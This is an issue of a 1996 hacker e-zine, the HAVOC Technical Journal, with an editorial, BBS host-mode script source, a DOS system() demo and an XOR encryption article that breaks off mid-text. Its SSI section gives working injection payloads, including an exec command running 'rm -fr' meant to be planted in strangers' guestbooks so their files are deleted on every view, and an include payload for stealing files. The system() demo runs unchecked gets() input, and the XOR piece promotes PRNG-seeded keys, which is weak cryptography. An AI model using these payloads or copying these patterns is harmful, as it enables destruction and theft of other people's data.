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- Vol. 1 | No.6 | December 15th, 1996 | A HAVOC Bell Systems Publication
- "To protect and serve"
- Happy Athiest Day! (Jan. 5th)
- _____________________________________________________________________________
- Inside this issue:
-
- Whats new this issue..............................
- Editorial.........................................Scud-O
- The HellNet[tm] C/Source Code.....................Scud-O
- SSI weaknessess...................................Scud-O
- system()..........................................Scud-O
- XOR Encryption....................................Psycho
- Hot Boot Crash....................................|\|\cFill
- Transatlantic Telephone Cable #8..................Keystroke
- For your reading pleasure.........................
- RTFM: The lamer Journal...........................
- ROLL CALL & more!.................................
- Next Month........................................
-
- Send all mail to: thtj@juno.com
- If you want to write an article for
- THTJ email: FoxMuldet@worldnet.att.net
-
- This months music supplied by: Cake, Beck, Sebado, Blood Hound Gang,
- Tool, Pink Floyd and WHFS 99.1 !
- Good Techno music from: sm:)e communications
-
- What's new in this issue:
- Not much, but FINALLY Psycho (the world's biggest lamer!) has written
- an article! So now, for the first time, all the HBS members that
- aren't MIA have written for THTJ!
-
- -----------------------------------------------------------
- How to contact us:
- Check Out Our Web Site:
- www.geocities.com/SiliconValley/8805/
- Scud-O's e-mail : FoxMulder@worldnet.att.net
- Psycho's e-mail : psycho@smart.net
- |\|\cFill's email : down -- server crashed
- Keystroke's email : prenzo@soho.ios.com
- our Mag e-mail is : thtj@juno.com
- HELLCORE's e-mail : hellcore@juno.com
- ---------------------------------------------------------------
-
- HBS members now (should) have web pages up on our site. go to:
- www.geocities.com/SiliconValley/8805/members.html
-
- The HAVOC Technical Journal Site of the MONTH:
- +-----------------------------------------------------------+
- | theLURK3R's WebSite at: |
- | http://home.earthlink.net/~rseal/ |
- +-----------------------------------------------------------+
-
- Editorial:
- Well this issue has turned out pretty well. The past month has been
- pretty good as well. The web site has been MAJORLY updated, we now are adding
- HBS member pages, we have a links page, and AT&T finally let their users use
- Netscape 2.02 (except ATT changed it and added a pain in the arse bug! I get
- all this fucking gibberish and have to reload like crazy! its annoying to see
- gibberish and the page you we just at... damn AT&T!)
- Anyway... The 403 Forbidden club is dead. It was a gay name. But in
- spirit, its not dead. HBS Chat is what we are renaming it, and it is going to
- be cool. The main chat area will be split up into 3 frames, one for the chat,
- one for users, one for your input. It's just like how mIRC looks. hopefully
- we can have it up by the new year. It's time delayed chat, but it will reload
- faster than other web chats. Psycho is the main man on this project, since he
- knows a little java (and the fact that he would rather use this power for good
- and not evil) he is writting it. I know a little java and I might help out a
- little. So every one, give Psycho a round of applause! We would have used
- CGI.. but geocities sucks and says no. (but me should be moving to either
- luthor's site or L0pht soon, and they both allow CGI!)
- Anyway that is all for now... now I must get on with issue 6...
-
-
- ----------------------------------------------
- / ---/ --/ / / | /------/ / /
- /--- /-----/------/-----/ / / /
- /----------/ /--------/
- -of HAVOC Bell Systems-
- FoxMulder@worldnet.att.net
-
- Join the Athiest Coalition today. To protect our rights! [tm]
-
- "A Scud - a theater ballistic missile - is one of the hardest targets.
- They're big stainless steel tanks."
- - Michael F. Weisbach, Boeing's airborne laser project manager
-
-
- =============================================================================
-
- The HellNet[tm] C/Script Source Code:
- by Scud-O
-
- I first started on the HellNet[tm] source code the day I got my new 28.8
- modem. The US Robotics one I bought came with Quick Link Message Center.
- It had a host mode that I started to play with. I first only modified the
- intro text files, but then I wanted to add more. File descriptions would be
- nice, so would chat. so I went to the Quick Link directory and opened up
- HOSTMODE.SRP The first thing I noticed was that the script language looked
- a lot like C code. Hmmm.. I thought.. after adding a couple of features that
- mostly just displayed text files I started on the chat. I added a while loop
- and quess what - it worked! so this IS C code. cool.
- So anyway here it is, the HellNet[tm] source code. I havent worked on
- it in about 3-4 months so it is kind of weak. I am now more interested in
- starting an ISP or other internet stuff.( hell.net sound kind of cool don't
- you think so? )
-
- Why is it called HellNet[tm]?
- Because I felt like it. AT&T has Worldnet, and since HBS
- is the opposite of AT&T, we had so call it HellNet. The
- [tm] comes in because Worldnet is a SM (slogan mark) and
- HellNet[tm] looked cool.
-
- Text files you need to create:
-
- ABOUT.TXT - About your BBS
- BYE.TXT - Log off screen
- CALLERS.TXT - LEAVE EMPTY! caller info bbs will add
- FILEZ.TXT - File Descriptions
- HOSTHELP.TXT - HELP - you can leave blank, or fill in
- HOSTMODE.TXT - The main menu
- MSG.TXT - Bulletins
- WAREZ.TXT - the Warezhouse: buy/sell/trade area maybe?
-
-
-
- HOSTMODE.SRP -------------------------------------
-
- int STACKSIZE = 45;
-
- /* HAVOC Bell Systems HellNet[tm] Host Mode Script Version 0 */
- /* Copyright HAVOC Bell Systems (c) 1996 ALL FIGHT F**KED! */
-
- int BaudRate;
-
- char FALSE = 0;
- char TRUE = 1;
- char CANCEL = -1;
-
- int MAX_FILE_LEN = 144;
- int HOST_TIMOUT;
-
- char DefaultProtocol;
- char CurrentDir[144];
- char StartupDir[144];
- char TempDir[144];
- char UserName[82];
- char userString[82];
-
- char host_timeout = FALSE;
- char host_continue;
- char security_level;
- char last_prompt;
- char ASCIITransComplete[] = "\r\nASCII transfer completed.\r\n";
- char ASCIITransCanceled[] = "\r\nASCII transfer completed.\r\n";
- char xTransComplete[] = "\r\nXmodem transfer completed.\r\n";
- char xTransCanceled[] = "\r\nXmodem transfer canceled.\r\n";
- char yTransComplete[] = "\r\nYmodem transfer completed.\r\n";
- char yTransCanceled[] = "\r\nYmodem transfer canceled.\r\n";
- char kTransComplete[] = "\r\nKermit transfer completed.\r\n";
- char kTransCanceled[] = "\r\nKermit transfer canceled.\r\n";
- char zTransComplete[] = "\r\nZmodem transfer completed.\r\n";
- char zTransCanceled[] = "\r\nZmodem transfer canceled.\r\n";
- char xyCancelPrompt[] = "\r\nPress Ctrl-X several times to cancel.\r\n";
- char thatSelection[] = "\r\nThe option you selected is not available to you.\r\n";
- char accessDenied[] = "\r\nAccess denied.\r\n";
- char tooLong[] = "\r\n\r\nYou took too long to respond.\r\n\r\nGoodbye!\r\n";
- char invalid[] = "\r\nInvalid selection.\r\n";
- char pleaseWaitProcessing[] = "\r\nPlease wait. Your request is being processed...\r\n";
-
- char *days[] = {"Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"};
-
- HostOut(char *str)
- {
- Out(str);
- Echo(str);
- }
-
-
- ListProtocols()
- {
- HostOut("\r\nChoose a file transfer protocol...\r\n");
- HostOut("<1> ASCII <5> Ymodem\r\n");
- HostOut("<2> Xmodem <6> Ymodem-G\r\n");
- HostOut("<3> Xmodem CRC <7> Kermit/SuperKermit\r\n");
- HostOut("<4> Xmodem 1K <8> Zmodem\r\n");
- HostOut(" <ESC> cancels transfer\r\n");
- }
-
-
- SelectProtocol()
- {
- int rv;
-
- ListProtocols();
- DefaultProtocol = 0;
- PrintHostPrompt(3);
-
- rv = GetUserInput(userString, TRUE, HOST_TIMOUT);
- if (rv)
- {
- if ((userString[0] >= 49) && (userString[0] <= 56) && (!userString[1]))
- DefaultProtocol = userString[0] - 48;
- else
- rv = CANCEL;
- }
- else
- host_timeout = TRUE;
- return(rv);
- }
-
-
- GetFileName()
- {
- int rv;
-
- PrintHostPrompt(4);
- rv = GetUserInput(userString, TRUE, HOST_TIMOUT);
-
- if (rv == CANCEL)
- {
- return(CANCEL);
- }
- else if (rv == TRUE)
- {
- if (userString[0])
- {
- if ((Exists(userString)) == -1)
- {
- return(-2);
- }
- else
- {
- return(TRUE);
- }
- }
- }
- else
- host_timeout = TRUE;
- return(FALSE);
- }
-
-
- PutFileName()
- {
- int rv;
-
- PrintHostPrompt(4);
- rv = GetUserInput(userString, TRUE, HOST_TIMOUT);
-
- if (rv == CANCEL)
- {
- return(CANCEL);
- }
- else if (rv == TRUE)
- {
- if (userString[0])
- {
- if ((Exists(userString)) == -1)
- {
- return(TRUE);
- }
- else
- {
- return(FALSE);
- }
- }
- }
- else
- host_timeout = TRUE;
- return(FALSE);
- }
-
-
- GetMultipleFiles(char *fileName)
- {
- char ret = TRUE;
-
- if (fileName[0])
- AddFile(fileName);
-
- HostOut("\r\nSpecify multiple files, blank filename terminates list.\r\n");
-
- while ((ret == TRUE) && !host_timeout)
- {
- while ((ret = GetFileName()) == -2)
- HostOut("\r\nFile does not exist.\r\n");
-
- StrCpy(userString, fileName);
- if (fileName[0])
- AddFile(fileName);
- }
- }
-
-
- DownloadFiles()
- {
- int rv;
- char fileName[MAX_FILE_LEN];
-
- ClearList();
- HostOut("\r\nFile Download");
- if ((GetFileName() == TRUE) && !host_timeout)
- {
- StrCpy(userString, fileName);
- rv = SelectProtocol();
- if (rv == CANCEL)
- return(CANCEL);
- else if (rv == FALSE)
- return(host_timeout);
-
- if (DefaultProtocol == 1)
- {
- PrintHostPrompt(5);
- if (GetUserInput(userString, TRUE, HOST_TIMOUT))
- {
- if (Upload(1, fileName))
- HostOut(ASCIITransComplete);
- else
- HostOut(ASCIITransCanceled);
- }
- else
- {
- host_timeout = TRUE;
- }
- }
- else if ((DefaultProtocol == 2) || (DefaultProtocol == 3))
- {
- HostOut("\r\nBegin your Xmodem receive now.");
- HostOut(xyCancelPrompt);
- Wait(2);
- if (Upload(3, fileName))
- HostOut(xTransComplete);
- else
- HostOut(xTransCanceled);
- }
- else if (DefaultProtocol == 4)
- {
- HostOut("\r\nBegin your Xmodem 1K receive now.");
- HostOut(xyCancelPrompt);
- if (Upload(4, fileName))
- HostOut(xTransComplete);
- else
- HostOut(xTransCanceled);
- }
- else if ((DefaultProtocol == 5) || (DefaultProtocol == 6))
- {
-
- GetMultipleFiles(fileName);
- if (!host_timeout)
- {
- if (DefaultProtocol == 5)
- HostOut("\r\nBegin your Ymodem receive now.");
- else
- HostOut("\r\nBegin your Ymodem-G receive now.");
- HostOut(xyCancelPrompt);
- Wait(2);
- if (Upload(5))
- HostOut(yTransComplete);
- else
- HostOut(yTransCanceled);
-
- }
- }
- else if (DefaultProtocol == 7)
- {
- GetMultipleFiles(fileName);
- if (!host_timeout)
- {
- HostOut("\r\nBegin your Kermit/SuperKermit receive now.");
- HostOut(xyCancelPrompt);
- if (Upload(2))
- HostOut(kTransComplete);
- else
- HostOut(kTransCanceled);
- }
- }
- else if (DefaultProtocol == 8)
- {
- GetMultipleFiles(fileName);
- if (!host_timeout)
- {
- HostOut("\r\nBegin your Zmodem receive now.");
- HostOut(xyCancelPrompt);
- if (Upload(7))
- HostOut(zTransComplete);
- else
- HostOut(zTransCanceled);
- }
- }
- }
- else
- HostOut("\r\nFile does not exist.\r\n");
- }
-
-
- ListFiles()
- {
- PrintHostPrompt(6);
- if (GetUserInput(userString, TRUE, HOST_TIMOUT))
- {
- if (userString[1] == ':')
- {
- HostOut("\r\nCannot list files across drives.\r\n");
- return;
- }
- if (!userString[0])
- StrCpy("*.*", userString);
- DisplayFiles(userString, security_level);
- }
- else
- host_timeout = TRUE;
- }
-
-
- UploadFiles()
- {
- int file, i = 0, lines = 0, rv;
- char ch, buffer[80];
-
- Sprintf(buffer, "\r\nThere are %i000 bytes of available disk space on drive %c:\r\n", KBytesFree(CurrentDir[0]), CurrentDir[0]);
- HostOut(buffer);
-
- rv = SelectProtocol();
- if (rv == CANCEL)
- return(CANCEL);
- else if (rv == FALSE)
- return(host_timeout);
-
- if (DefaultProtocol == 1)
- {
- if (PutFileName() == TRUE)
- {
- HostOut("\r\nStart your ASCII send now.\r\nPress Ctrl-Z when complete.\r\n");
- rv = Download(1, userString);
- if (rv)
- HostOut(ASCIITransComplete);
- else
- HostOut(ASCIITransCanceled);
- }
- else
- {
- HostOut("\r\nFile already exists.\r\n");
- return(CANCEL);
- }
- }
- else if (DefaultProtocol == 2)
- {
- if (PutFileName() == TRUE)
- {
- HostOut("\r\nStart your Xmodem send now.");
- HostOut(xyCancelPrompt);
- Wait(2);
- rv = Download(3, userString);
- if (rv)
- HostOut(xTransComplete);
- else
- HostOut(xTransCanceled);
- }
- else
- {
- HostOut("\r\nFile already exists.\r\n");
- return(CANCEL);
- }
- }
- else if (DefaultProtocol == 3)
- {
- if (PutFileName() == TRUE)
- {
- HostOut("\r\nStart your Xmodem CRC send now.");
- HostOut(xyCancelPrompt);
- Wait(2);
- rv = Download(4, userString);
- if (rv)
- HostOut(xTransComplete);
- else
- HostOut(xTransCanceled);
- }
- else
- {
- HostOut("\r\nFile already exists.\r\n");
- return(CANCEL);
- }
- }
- else if (DefaultProtocol == 4)
- {
- if (PutFileName() == TRUE)
- {
- HostOut("\r\nStart your Xmodem 1K send now.");
- HostOut(xyCancelPrompt);
- Wait(2);
- rv = Download(5, userString);
- if (rv)
- HostOut(xTransComplete);
- else
- HostOut(xTransCanceled);
- }
- else
- {
- HostOut("\r\nFile already exists.\r\n");
- return(CANCEL);
- }
- }
- else if (DefaultProtocol == 5)
- {
- HostOut("\r\nStart your Ymodem send now.");
- HostOut(xyCancelPrompt);
- Wait(2);
- rv = Download(6);
- if (rv)
- HostOut(yTransComplete);
- else
- HostOut(yTransCanceled);
- }
- else if (DefaultProtocol == 6)
- {
- HostOut("\r\nStart your Ymodem-G send now.");
- HostOut(xyCancelPrompt);
- Wait(2);
- rv = Download(7);
- if (rv)
- HostOut(yTransComplete);
- else
- HostOut(yTransCanceled);
- }
- else if (DefaultProtocol == 7)
- {
- HostOut("\r\nStart your Kermit/SuperKermit send now.\r\n");
- rv = Download(2);
- if (rv)
- HostOut(kTransComplete);
- else
- HostOut(kTransCanceled);
-
- }
- else if (DefaultProtocol == 8)
- {
- HostOut("\r\nStart your Zmodem send now.\r\n");
- rv = Download(8);
- }
- return(rv);
- }
-
-
- ChangeDirectory()
- {
- char directory[85], oldDir[85];
- int i = 0, j, file;
-
- HostOut("\r\nCurrent path is: ");
- Echo(CurrentDir);
- OutBuffer(CurrentDir, StrLen(CurrentDir));
-
- HostOut("\r\n Change path to: ");
- if (GetUserInput(userString, TRUE, HOST_TIMOUT))
- {
- if (userString[0])
- {
- if (SetDirectory(userString))
- StrCpy(GetDirectory(), CurrentDir);
- else
- HostOut("\r\nCannot change to specified path.\r\n");
- }
- return(TRUE);
- }
- else
- {
- host_timeout = TRUE;
- return(FALSE);
- }
- }
-
-
- ChangeDrive()
- {
- int i = 0, j, file;
- char junk[3];
-
- HostOut("\r\nCurrent drive is: ");
-
- Copy(CurrentDir, junk, 2);
- junk[2] = 0;
- HostOut(junk);
-
- HostOut("\r\n Change drive to: ");
-
- if (GetUserInput(userString, TRUE, HOST_TIMOUT))
- {
- if (userString[0])
- {
- if (SetDrive(userString))
- StrCpy(GetDirectory(), CurrentDir);
- else
- HostOut("\r\nCannot change to specified drive.\r\n");
- }
- return(TRUE);
- }
- else
- {
- host_timeout = TRUE;
- return(FALSE);
- }
- }
-
-
- PrintHostPrompt(int prompt)
- {
- if (prompt)
- last_prompt = prompt;
- if (last_prompt == 1)
- {
- HostOut("\r\n<A>bout <B>illboards <C>hange Drive <D>ownload <E>arlier Callers <F>ilez <G>oodbye <H>elp <L>ist <M>ove <R>elist <T>alk <U>pload <W>arezhouse\r\n");
- HostOut("Enter selection <A,B,C,D,E,F,G,H,L,M,R,T,U,W>: ");
- }
- else if (last_prompt == 2)
- HostOut("\r\nEnter Password: ");
- else if (last_prompt == 3)
- HostOut("\r\nEnter Selection 1-8 or <ESC> to cancel: ");
- else if (last_prompt == 4)
- HostOut("\r\nFilename: ");
- else if (last_prompt == 5)
- HostOut("\r\nPress return to begin ASCII receive, <ESC> to cancel:\r\n");
- else if (last_prompt == 6)
- HostOut("\r\nEnter file search parameter (e.g. *.*). <ENTER> to search for all.\r\n->");
- else if (last_prompt == 7)
- HostOut("\r\nEnter Name: ");
- else if (last_prompt == 8)
- HostOut("\r\nAre you sure? <Y/N>: ");
- else if (last_prompt == 9)
- HostOut("\r\nEnter Sysop Password: ");
- }
-
-
- LogCall(char *UserName)
- {
- int hFile;
- char szLogLine[80];
-
- int year, month, day, dayofweek, hour, minute, second, hsecond;
-
- Time(&year, &month, &day, &dayofweek, &hour, &minute, &second, &hsecond);
- StrCpy(HomePath(), TempDir);
- StrCat(TempDir, "CALLERS.TXT");
- hFile = Open(TempDir, 1);
- Seek(hFile, 0, 2);
- Sprintf(szLogLine, "%-25s %s %i:%i\r\n", UserName, days[dayofweek], hour, minute);
- Write(hFile, szLogLine, StrLen(szLogLine));
- Close(hFile);
- }
-
-
- HostMainLoop()
- {
- char host_online = TRUE, rightpassword = FALSE;
-
- int start_time, i;
- int year, month, day, dayofweek, hour, minute, second, hsecond;
-
- start_time = Time(&year, &month, &day, &dayofweek, &hour, &minute, &second, &hsecond);
- while ((CarrierDetect()) && (host_online))
- {
- PrintHostPrompt(1);
- if ((i = GetUserInput(userString, TRUE, HOST_TIMOUT)) == TRUE)
- {
- if ((userString[0] == 'd') || (userString[0] == 'D'))
- {
- if (AllowDownloads())
- DownloadFiles();
- else
- HostOut(thatSelection);
- }
- else if ((userString[0] == 'g') || (userString[0] == 'G'))
- {
- PrintHostPrompt(8);
- if (GetUserInput(userString, TRUE, HOST_TIMOUT))
- {
- if ((userString[0] == 'y') || (userString[0] == 'Y'))
- {
- StrCpy(HomePath(), TempDir);
- StrCat(TempDir, "BYE.TXT");
- if (!OutFile(TempDir))
- HostOut("\r\nGoodbye lamer!\r\n");
- host_online = FALSE;
- }
- }
- else
- host_timeout = TRUE;
- }
- else if ((userString[0] == 'h') || (userString[0] == 'H') || (userString[0] == '?'))
- {
- StrCpy(HomePath(), TempDir);
- StrCat(TempDir, "HOSTHELP.TXT");
- if (!OutFile(TempDir))
- HostOut("\r\nNo help available.\r\n");
- }
- else if ((userString[0] == 'l') || (userString[0] == 'L'))
- {
- ListFiles();
- }
- else if ((userString[0] == 'u') || (userString[0] == 'U'))
- {
- if (AllowUploads())
- UploadFiles();
- else
- HostOut(thatSelection);
- }
- else if ((userString[0] == 'm') || (userString[0] == 'M'))
- {
- if (security_level > 1)
- ChangeDirectory();
- else
- HostOut(thatSelection);
- }
- else if ((userString[0] == 'c') || (userString[0] == 'C'))
- {
- if (security_level > 1)
- ChangeDrive();
- else
- HostOut(thatSelection);
- }
- /* Added by HAVOC 7/30/96 */
- /* Billboard program i.e messages + mail! */
- else if ((userString[0] == 'b') || (userString[0] == 'B'))
- {
- StrCpy(HomePath(), TempDir);
- StrCat(TempDir, "MSG.TXT");
- if (!OutFile(TempDir))
- HostOut("\r\nNo MSG available.\r\n");
-
- }
- /* Added by HAVOC 7/30/96 */
- /* chat between op + usr */
- /* continued work on it 9/14/96 */
- else if ((userString[0] == 't') || (userString[0] == 'T'))
- {
- HostOut("\r\nNOTE: press the tilde key '~' to exit chat!\r\n");
- for(;;)
- /* while(userString[0]!= '~') */
- {
- userString[0]=GetUserInput();
- if userString[0] == '~'
- {
- break;
- }
- else
- {
- continue;
- }
-
- }
- }
- /* Added by HAVOC 8/4/96 */
- else if ((userString[0] == 'a') || (userString[0] == 'A'))
- {
- StrCpy(HomePath(), TempDir);
- StrCat(TempDir, "ABOUT.TXT");
- if (!OutFile(TempDir))
- HostOut("\r\nABOUT is not available now.\r\n");
- }
- /* Added by HAVOC 8/4/96 */
- else if ((userString[0] == 'r') || (userString[0] == 'R'))
- {
- StrCpy(HomePath(), TempDir);
- StrCat(TempDir, "HOSTMODE.TXT");
- if (!OutFile(TempDir))
- HostOut("\r\nError! Menu is not available now.\r\n");
- }
- /* Added by HAVOC 8/13/96 */
- else if ((userString[0] == 'f') || (userString[0] == 'F'))
- {
- StrCpy(HomePath(), TempDir);
- StrCat(TempDir, "FILEZ.TXT");
- if (!OutFile(TempDir))
- HostOut("\r\nError! Filez are offline!\r\n");
- }
- /* Added by HAVOC 8/13/96 */
- else if ((userString[0] == 'w') || (userString[0] == 'W'))
- {
- StrCpy(HomePath(), TempDir);
- StrCat(TempDir, "WAREZ.TXT");
- if (!OutFile(TempDir))
- HostOut("\r\nError! Da Warezhouse is empty!\r\n");
- }
- /* Added by HAVOC 9/14/96 */
- else if ((userString[0] == 'e') || (userString[0] == 'E'))
- {
- StrCpy(HomePath(), TempDir);
- StrCat(TempDir, "CALLERS.TXT");
- if (!OutFile(TempDir))
- HostOut("\r\nHey, we just cleaned the caller file, your caller no. 1 !\r\n");
- }
- else
- HostOut(invalid);
- }
- else if (i == 0)
- host_timeout = TRUE;
-
- if (host_timeout)
- {
- HostOut(tooLong);
- break;
- }
- }
- }
-
-
- main()
- {
- char ch, connect;
- int i;
- int nKey, FaxMgr;
-
- host_continue = TRUE;
- connect = FALSE;
- HOST_TIMOUT = (HostTimeout()*60);
-
- FaxMgr = CalledFromFaxMgr();
- if (!FaxMgr)
- {
- if (CarrierDetect())
- {
- Echo("\r\nWould you like to hangup the line? <Y/N>: ");
- if (!GetUserInput(userString, TRUE, HOST_TIMOUT))
- {
- HostOut(tooLong);
- return();
- }
- if ((userString[0] == 'Y') || (userString[0] == 'y'))
- {
- Wait(2);
- Hangup();
- }
- else if ((userString[0] == 'N') || (userString[0] == 'n'))
- {
- connect = TRUE;
- }
- }
-
- if (!connect)
- {
- if (HostSpeed())
- Baud(HostSpeed());
- Parity('N');
- Stop("1");
- Data(8);
- Out(HostInit());
- Out("\r");
- WaitFor("OK\r\n", 3);
- }
- }
- StrCpy(GetDirectory(), StartupDir);
-
- while (host_continue)
- {
- SetDrive(HostPath());
- SetDirectory(HostPath());
- StrCpy(GetDirectory(), CurrentDir);
-
- if (!FaxMgr)
- {
- if (!connect)
- {
- Echo("\r\nWaiting for call...\r\n");
- Echo("HAVOC Bell Systems HellNet[tm] v.0\r\n");
- Echo("Press <ESC> to cancel or 'L' to logon locally: ");
- }
- }
- else
- FaxMgr = FALSE;
-
- while ((!connect) && (host_continue))
- {
- nKey = GetKeyStroke();
- if (nKey == -1)
- {
- Echo("\r\nHost mode canceled by operator\r\n");
- host_continue = FALSE;
- break;
- }
- if ((nKey == 'l') || (nKey == 'L'))
- {
- connect = TRUE;
- SetLocalHost(TRUE);
- Echo("\r\nEntering host mode locally.\r\n");
- }
- BaudRate = CallDetected();
- if (BaudRate == -1)
- {
- Echo("\r\nWaiting for call...\r\n");
- Echo("HAVOC Bell Systems HellNet[tm] V.0\r\n");
- Echo("Press <ESC> to cancel or 'L' to logon locally: ");
- }
- else if (BaudRate)
- {
- Beep();
- LogonDelay();
- connect = TRUE;
- }
- }
- if (host_continue && connect)
- {
- PrintHostPrompt(7);
- if (!GetUserInput(UserName, TRUE, HOST_TIMOUT))
- {
- HostOut(tooLong);
- connect = FALSE;
- }
- else
- {
- LogCall(UserName);
- }
- }
- if (host_continue && UsePassword() && connect)
- {
- security_level = 0;
- HostOut("\r\n");
- for (i = 0; i < 4; i++)
- {
- PrintHostPrompt(2);
- if (GetUserInput(userString, FALSE, HOST_TIMOUT))
- {
- if (UseMovePassword())
- {
- if (!StrnCmpI(userString, Password(), StrLen(Password())))
- {
- security_level = 2;
- break;
- }
- }
- else
- {
- if (!StrnCmpI(userString, Password(), StrLen(Password())))
- {
- security_level = 1;
- break;
- }
- }
- }
- else
- {
- HostOut(tooLong);
- connect = FALSE;
- break;
- }
- HostOut("\r\nInvalid password, please try again.\r\n");
- }
- }
- else
- {
- if (UseMovePassword())
- security_level = 2;
- else
- security_level = 1;
- }
-
- if (host_continue && connect)
- {
- if (security_level)
- {
- StrCpy(HomePath(), TempDir);
- StrCat(TempDir, "HOSTMODE.TXT");
- OutFile(TempDir);
- userString[0] = 0;
- HostMainLoop();
- }
- else
- HostOut(accessDenied);
- }
- SetLocalHost(FALSE);
- if (CarrierDetect())
- {
- Wait(2);
- Hangup();
- }
- connect = FALSE;
- host_timeout = FALSE;
- }
- SetDrive(StartupDir);
- SetDirectory(StartupDir);
- }
-
- END OF HOSTMODE.SRP -------------------
-
- Now all I need to do is create all the COMM port source, the download
- protocals and the HostOut and other stuff.. and then it will be a stand
- alone BBS.. anyone want to help me out?
-
- NOTE: if you don't have QuickLink e-mail me.. I might send it to you, but
- i'll tell you where to get it, since we should be getting an FTP site up
- in a little bit...
-
- The full program is only about 2 megs uncompressed... it is
- probably only like 800k or so compressed.
-
- =============================================================================
-
- SSI weaknesses by Scud-O
-
- Server Side Includes (SSI) is a powerful feature of Web servers to
- use only when a document has only a little bit of dynamic data. Using a
- counter on a page that otherwise doesn't change is an example.
- However as great as SSI sounds, it also has some serious security
- weaknesses. Since SSI can be used to execute programs, poorly designed pages
- can give out tons of info. However not every server can use SSI, and many
- turn off the feature. The two most popular servers, NCSA and Netscape can use
- SSI, but the CERN server can not. However their is a CGI out called
- fakessi.pl that you can use to emulate SSI with. You can find fakessi.pl
- at: sw.cse.bris.ac.uk/WebTools/fakessi.html .
- With SSI the main security weaknessed lie in executing CGI's or other
- programs. You can execute other (insecure) CGI's (like the one in Issue 4) by
- doing this:
- <!--#exec cgi="/cgi-bin/finger.pl"-->
-
- Very easy! just change the text between the quotes to run whatever you want.
-
- To execute programs:
- <!--#exec cmd="/usr/ucb/finger $REMOTE_USER@$REMOTE_HOST"-->
-
- Both of these would return the results of a finger.
-
- A little bit o fun:
- try this:
- <!--#exec cmd="/bin/rm -fr"-->
- and watch those files just disappear!
-
- Okay you are saying.. well I can do this on MY page, but what about OTHER
- people's pages?
-
- Well, one example is the standard guestbooks around. Most of them
- either allow you to enter HTML commands, or they are stupid and process your
- comments into HTML. If that server has SSI and you use the code above, their
- files will be deleted! Some guestbooks strip off SSI, but many do not. I
- am not sure abouit Lpage, but I suspect that it will not work. However in
- many guestbook CGI's people write, they will work. Hopefully the web page
- owner will not see the guestbook and be culeless to why his files are missing!
- Then if he doesn't update his guestbook, every time some one views it, HIS
- FILES WILL BE DELETED AGAIN!! Oh well, have fun!
-
- Another attack?
- Say there is a REALLY juicy file some one has on their box that you
- want. Another feature of SSI was ment to include files in an HTML document
- can help you. Made to add boilerplates (information you want to repeat in
- many of you web documents) you can use the tag:
- <!--#include file="bottom.html"-->
- This would include the file bottom with what ever is in the file in the
- web page. (This is great for uniformity, and I indend to use it as soon as
- I move to luthor's place or L0pht and have CGI access!)
- Anyway, if in the guestbook for example, you type in:
- <!--#include file="system1.sniff"-->
- (say this file has some good sniffer info or something..)
-
- You should, theoretically have the file outputed to the guest book, and from
- thies either cut and paste or save the html file and you have the file!
-
-
-
-
- =============================================================================
-
- system() -
-
- while trying to find a C function so that I can use DOS commands on my
- school's network I found system(). At first I thought it was a non-ANSI
- function, but to my surprise, once I looked in a few books and saw that
- it was included in the stdlib.h header so "hey, great!" . system() is VERY
- simple to use, but you must be careful with memory. Since the system() runs
- from the program and the program is run from the OS, it doesn't have free run
- of the memory. Or at least in DOS, UNIX might be different but I haven't been
- able to test that yet. So basically if you have enough free RAM, the OS
- command processor will load, otherwise you will get a nasty error message.
-
- the basic format is:
- system(command);
-
- for example in DOS to print out the directory listing you can use either:
-
- system("dir");
- -OR-
- char *command = "dir";
- system(command);
-
- Here is an example of system() :
-
- /* system() demonstration by Scud-O of HBS */
- /* For The HAVOC Technical Journal Issue 6 */
-
- #include <stdio.h>
- #include <stdlib.h>
-
- main()
- {
- char input[40]; /* a buffer for input */
-
- while(1)
- {
- /* First get the command */
- puts("\nInput your command or hit ENTER to exit");
- gets(input);
-
- /* exit if line is blank */
- if (input[0] == "\0")
- exit(0);
-
- /* otherwise execute command */
- system(input);
- }
- }
-
- Now isn't that simple?
-
- If you want to run multiple command, well just use the code above, or do a
- simple system("command.com") if you are using DOS.
-
- Please note: if you are working on a program that is to be multiplatform,
- don't use system() or if you do, be careful. If you use ANY special OS
- commands you will have code that is much less portable.
-
-
- Well, that's all folks!
-
- =============================================================================
-
- XOR data encryption with an infinite length key by Psycho
-
- With the increased awareness of the necessity for privacy of electronic
- information, there is a need for simple, efficient methods of data
- encryption. One of the most common methods, for some time now, has been
- the use of the exclusive-OR (XOR) operator on files, with some small repeating bytestream
- known as the key.
-
-
- When the resultant file is XORed with the key again, it reverts back to
- its original state. There are many existing examples of programs that
- use the XOR method to encrypt files with a key word or phrase. For many,
- this level of security is more than ample; however, when the length of
- the encryption key is less than that of the file to be
- encrypted, there exists the possibility that the repeated key
- can be deduced, and the file decrypted.
-
-
- Because the key is repeated many times throughout the encryption process,
- it may be possible to crack the code within a reasonable amount of time, and
- thus XOR encryption with small keys is not used in high security situations.
- However, if the key length is sufficiently great, to the point where it is
- the equal of the data being encrypted, then XOR encryption remains uncrackable,
- and is thus an easily implemented encryption method.
-
-
- The only problem with using keys as large as the file or datastream you need
- to encrypt is that both the key must be transferred through a secure medium,
- which might be either costly or unworkable. If you want to encrypt a four
- hundred megabyte database, you'll need to carry around a decoder CD-ROM with
- an equally large key! Obtaining a reliable key of such a size, which cannot
- be determined by other sources, may prove difficult, and is certainly not
- efficient. If you deal with large files, then finding and transmitting an
- extremely long key may be costly and time-consuming (particularly if the key
- is changed regularly for security purposes).
-
-
- There is, however, a solution! Anyone who has ever generated random
- numbers upon a computer, quickly realises that the numbers are not
- truly random. They must be "seeded" with particular values, which
- give a particular sequence of numbers. We can use this inherent
- deficiency within random number generators to construct (on-the-fly)
- an infinitely large key for the purposes of encryption, by seeding it with
- a particular number which users can specify. Rather than storing the key,
- we only need pass on the seed value, rather than a huge code-key.
- Provided the same random number generator is used (usually programming
- language specific and platform specific) we can have an infinitely large
- key that gives us increased protection.
-
-
- Security Warning :
- While this method gives greater
- security that a small, self-repeating XOR encryption key, it does not guarantee
- absolute protection. The method used to generate a key exploits a weakness in
- the random number generators of computing languages - namely that they are
- pseudo-random number generators. Since they are not truely random (and require
- a seed), we can replicate the same sequence of numbers time and time again. The problem
- with a pseudo-random number generator is that there may be some underlying pattern
- to the numbers it generates. Unless your random number generator avoids repetition,
- there exists the potential for repetition on extremely large files.
-
-
- General Theory
- For those who are unfamiliar with the XOR operator, it is covered in most
- discrete maths / computer science textbook. For the purposes of encryption,
- it has several desirable properties. Firstly, its extremely simple to use
- and understand (unlike more advanced methods such as say, the RSA encryption
